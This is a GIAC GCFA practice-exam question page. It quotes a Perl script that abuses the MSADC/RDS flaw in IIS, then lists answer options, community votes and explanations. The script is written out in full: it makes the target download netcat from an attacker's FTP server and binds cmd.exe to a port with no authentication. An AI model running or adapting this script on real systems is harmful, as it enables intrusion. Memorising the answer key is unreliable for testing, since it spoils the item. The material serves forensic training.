nerdexam
GIAC

GCFA · Question #220

Adam, a malicious hacker performs an exploit, which is given below: ################################################################# $port = 53; # Spawn cmd.exe on port X $your = "192.168.1.1";# Your

The correct answer is B. Opens up a telnet listener that requires no username or password. The script exploits the MSADC/RDS vulnerability in IIS to download netcat via FTP and launch an unauthenticated command shell listener on the target host.

Threat Hunting & Timeline Analysis

Question

Adam, a malicious hacker performs an exploit, which is given below:

################################################################# $port = 53; # Spawn cmd.exe on port X $your = "192.168.1.1";# Your FTP Server 89 $user = "Anonymous";# login as $pass = '[email protected]';# password ################################################################# $host = $ARGV[0]; print "Starting ...\n"; print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h $host -C "echo open $your >sasfile""); system("perl msadc.pl -h $host -C "echo $user>>sasfile""); system("perl msadc.pl -h $host -C "echo $pass>>sasfile""); system("perl msadc.pl -h $host -C "echo bin>>sasfile""); system("perl msadc.pl -h $host -C "echo get nc.exe>>sasfile""); system("perl msadc.pl -h $host -C "echo get hacked. html>>sasfile""); system("perl msadc.pl -h $host -C "echo quit>>sasfile""); print "Server is downloading ... \n"; system("perl msadc.pl -h $host -C "ftp -s:sasfile""); print "Press ENTER when download is finished ... (Have a ftp server)\n"; $o=; print "Opening ...\n"; system("perl msadc.pl -h $host -C "nc -l -p $port -e cmd.exe""); print "Done.\n"; #system("telnet $host $port"); exit(0); Which of the following is the expected result of the above exploit?

Options

  • ACreates an FTP server with write permissions enabled
  • BOpens up a telnet listener that requires no username or password
  • COpens up a SMTP server that requires no username or password
  • DCreates a share called "sasfile" on the target system

How the community answered

(25 responses)
  • A
    12% (3)
  • B
    76% (19)
  • C
    4% (1)
  • D
    8% (2)

Why each option

The script exploits the MSADC/RDS vulnerability in IIS to download netcat via FTP and launch an unauthenticated command shell listener on the target host.

ACreates an FTP server with write permissions enabled

The script downloads nc.exe from a pre-existing attacker-controlled FTP server; it does not configure or create an FTP service with write permissions on the victim machine.

BOpens up a telnet listener that requires no username or passwordCorrect

The script uses msadc.pl to exploit the Microsoft Data Access Components (MSADC) vulnerability, automating an FTP download of nc.exe (netcat) onto the target. The inline comment 'Spawn cmd.exe on port X' describes the intended netcat invocation, which creates a raw TCP listener that binds cmd.exe to a port with no authentication - functioning as an unauthenticated shell accessible like a passwordless telnet session.

COpens up a SMTP server that requires no username or password

No SMTP service is configured or launched by this exploit; the port variable is used by netcat to expose a command shell, not a mail relay.

DCreates a share called "sasfile" on the target system

'sasfile' is a temporary FTP command script written to disk to automate the anonymous download of nc.exe, not a network share created on the target.

Concept tested: MSADC RDS exploit with netcat unauthenticated backdoor

Source: https://learn.microsoft.com/en-us/security-updates/securitybulletins/1999/ms99-025

Topics

#exploit analysis#MSADC exploit#FTP-based attack#command shell spawn

Community Discussion

No community discussion yet for this question.

Sign up to join the discussion
Full GCFA Practice